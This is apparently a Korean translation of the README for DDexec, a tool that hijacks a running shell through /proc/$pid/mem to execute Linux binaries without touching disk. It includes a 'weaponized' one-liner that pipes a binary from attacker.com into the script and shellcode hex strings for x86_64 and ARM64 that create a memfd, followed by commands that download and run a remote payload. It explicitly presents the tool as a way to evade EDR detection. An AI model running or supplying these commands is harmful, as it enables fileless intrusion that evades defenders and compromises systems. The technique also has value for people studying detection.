
셸의 프로세스를 다른 프로세스로 "덮어쓰는" 방식으로 Linux에서 바이너리를 파일 없이 은밀하게 실행하는 기술.
DDexec를 거의 알아볼 수 없을 정도로 업데이트했습니다. ELF 파싱은 이제 셸 스크립트 대신 기계어 코드로 수행되어 훨씬 빠르고, 신뢰할 수 있으며, 이해하기 쉬워졌습니다. 또한 의존성 수를 최소한으로 줄였습니다.
또한 이제 셸의 산술 연산에 거의 의존하지 않아 Android에서도 작동할 수 있습니다.
Linux에서 프로그램을 실행하려면 파일로 존재해야 하며, 파일 시스템 계층 구조를 통해 접근 가능해야 합니다(이는 execve() 작동 방식입니다). 이 파일은 디스크나 램(tmpfs, memfd)에 있을 수 있지만 파일 경로가 필요합니다. 이로 인해 Linux 시스템에서 실행되는 것을 제어하기가 매우 쉬워졌으며, 위협과 공격자의 도구를 탐지하거나 공격자가 자신의 어떤 것이든 실행하지 못하도록 막기 쉽습니다(예: 권한 없는 사용자가 어디에도 실행 파일을 배치하지 못하도록 함).
음, 원하는 프로세스를 시작할 수 없다면... 이미 존재하는 프로세스를 가로채고 괴롭혀서 당신의 욕구를 충족시킬 때까지 만듭니다.
실행하려는 바이너리를 ddexec.sh 스크립트로 파이프하세요. 스크립트의 인수는 프로그램의 인수입니다(argv[0]부터 시작).
자, 이것을 시도해보세요:
bash ddexec.sh ls -lA < /bin/ls
이는 다음과 같이 쉽게 무기화할 수 있습니다:
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
또한 기계어 코드를 직접 실행할 수 있는 ddsc.sh 스크립트가 있습니다.
다음은 memfd(메모리 내 파일을 가리키는 파일 디스크립터)를 생성하는 셸코드 사용 예시입니다. 이후 해당 memfd에 바이너리를 쓰고 메모리에서 직접 실행할 수 있습니다.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
ARM64에서도 동일한 과정입니다.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
테스트된 Linux 배포판은 Debian, Alpine 및 Arch입니다. 지원되는 셸은 bash, zsh 및 ash(busybox)이며, x86_64 및 aarch64(arm64) 아키텍처에서 동작합니다.
2022년 12월 12일 기준으로 dd에 대한 여러 대안을 발견했습니다. 그중 하나인 tail은 현재 mem 파일을 통해 lseek()하는 데 사용되는 기본 프로그램입니다(이것이 dd를 사용하는 유일한 목적이었습니다).
대안은 다음과 같습니다:
tail
hexdump
cmp
xxd
SEEKER 변수를 설정하여 사용되는 seeker를 변경할 수 있습니다. 예:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
스크립트에 구현되지 않은 다른 유효한 seeker를 찾은 경우에도 SEEKER_ARGS 변수를 설정하여 사용할 수 있습니다:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
이것을 막아보세요, EDR들아.
이 스크립트는 다음 도구에 의존합니다.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | any other program that allows us to seek through a fd
ash의 경우, tail, dd, hexdump, cmp 및 xxd는 내장되어 있으므로 실제로 의존성이 아닙니다.
참고: 최신 버전의 busybox에서만 작동합니다. 가장 오래된 버전은 확실하지 않으며 확인하지 않았습니다. v1.35.0에서는 작동하지만 v1.30.0에서는 작동하지 않는다는 것을 알고 있습니다.
프로세스의 메모리를 임의로 수정할 수 있다면 해당 프로세스를 장악할 수 있습니다. 이는 이미 존재하는 프로세스를 가로채서 다른 프로그램으로 대체하는 데 사용될 수 있습니다. 이는 ptrace() 시스템 콜을 사용하거나(시스템 콜을 실행할 수 있거나 시스템에 gdb가 있어야 함), 더 흥미롭게는 /proc/$pid/mem에 쓰기를 통해 달성할 수 있습니다.
/proc/$pid/mem 파일은 프로세스의 사용자 공간 주소 공간과 일대일 매핑입니다(예: x86-64에서 0x0부터 0x7ffffffffffff000까지). 즉, 오프셋 x에서 이 파일을 읽거나 쓰는 것은 가상 주소 x의 내용을 읽거나 수정하는 것과 같습니다.
이제 우리는 세 가지 기본적인 문제에 직면합니다:
하지만 우리는 현명한 해결책을 가지고 있습니다:
mem 파일을 가리키는 fd를 쓰기 권한으로 생성할 수 있습니다... 따라서 해당 fd를 사용하는 자식 프로세스는 셸의 메모리를 수정할 수 있습니다.maps 파일을 확인하여 프로세스의 주소 레이아웃 정보를 얻을 수 있습니다.lseek()해야 합니다. 셸에서는 tail이나 악명 높은 dd와 같은 몇 가지 일반적인 바이너리를 사용하여 이를 수행할 수 있습니다. 자세한 내용은 EverythingExec 섹션을 참조하십시오.단계는 비교적 쉽고 이해하기 위해 어떤 전문 지식도 필요하지 않습니다:
/proc/$pid/syscall에서 프로세스가 현재 실행 중인 시스템 콜 이후 반환될 주소를 얻습니다. 이 파일을 읽고 있으므로 해당 시스템 콜은 read()가 될 것이며, 주소는 libc의 read() 래퍼에 있을 것입니다. 이는 곧 우리의 스테이저가 위치할 장소를 얻기 위한 것입니다.mem을 통해 쓰기 불가능한 페이지도 수정할 수 있습니다). 이 스테이저는 더 큰 셸코드를 읽고 실행합니다.execve()를 호출할 때마다 수행하는 단계와 동일한 단계를 수행합니다:
셸코드는 loader.c를 컴파일하고, 컴파일러에 의해 도입된 많은 아티팩트를 제거하고 단순화하기 위해 어셈블리를 조정하여 생성되었습니다.
음, 몇 가지 TODO가 있습니다. 게다가, 여러분은 제가 셸 스크립팅에 대해 많이 알지 못한다는 것을 알아차렸을 것입니다(저는 C 프로그래머에 가깝습니다). 그리고 저는 이 프로젝트의 일부만으로도 "useless use of a cat" 상을 10년치 받았을 것이라고 확신합니다 — 이 도구를 만드는 데 고양이는 해를 입지 않았습니다 — 그리고 다른 변종들도 마찬가지입니다.
— 다른 셸로 포팅 — 극단적으로는 스크립트를 POSIX 호환으로 만들어야 합니다.
어쨌든, 포크와 PR은 자유롭게 해주세요. 하지만 기여할 때 지원되는 셸에서 작동하지 않게 만드는 PR은 받아들여지지 않을 것임을 명심해주세요. 그것은 기여가 아니라 단지 망가뜨리는 것입니다. 변경 사항이 POSIX 호환인 것이 가장 좋습니다.
제발... 정말, 정말로, 코드를 확인하여 적어도 Debian과 Alpine에서 지원되는 셸에서 작동하는지 확인해주세요. 단지 몇 개의 도커일 뿐입니다.
이 도구를 게시한 후 Sektor7이 몇 년 전에 자신들의 블로그에 거의 동일한 기술을 게시했다는 것을 알게 되었습니다.
그럼에도 불구하고, 저는 이 기술을 지금은 거의 완전히 독립적으로 생각해냈습니다. 아마도 이 기술에서 가장 똑똑한 부분은 상속된 파일 디스크립터의 사용일 것입니다. 이 아이디어는 제가 이 주제에 대해 생각하기 시작하기 거의 1년 전에 David Buchanan이 (Sektor7의 블로그에서 영감을 받아) 제공했습니다. 이것만으로도 기술이 훨씬 단순하고 깔끔해질 뿐만 아니라 ASLR을 비활성화할 필요를 없애 훨씬 치명적으로 만듭니다.
어쨌든, 저는 이 기술을 더 널리 퍼뜨릴 수 있기를 바랍니다. 그것이 중요합니다.
뛰어난 펜테스터이자 더 좋은 친구인 Carlos Polop에게 감사드립니다. 그가 이 주제에 대해 생각하게 해주었고, 유용한 피드백과 관심을 보여주었습니다. 아, 그리고 프로젝트 이름도 그에게서 얻었습니다. 여러분이 이 글을 읽고 있다면 이미 그의 멋진 도구 PEASS를 사용해보았고, 그의 책 HackTricks에서 유용한 글을 찾았을 것이라고 확신합니다.
mem 파일 지원 없이 컴파일된 커널을 사용하십시오.Twitter를 통해 연락할 수 있습니다.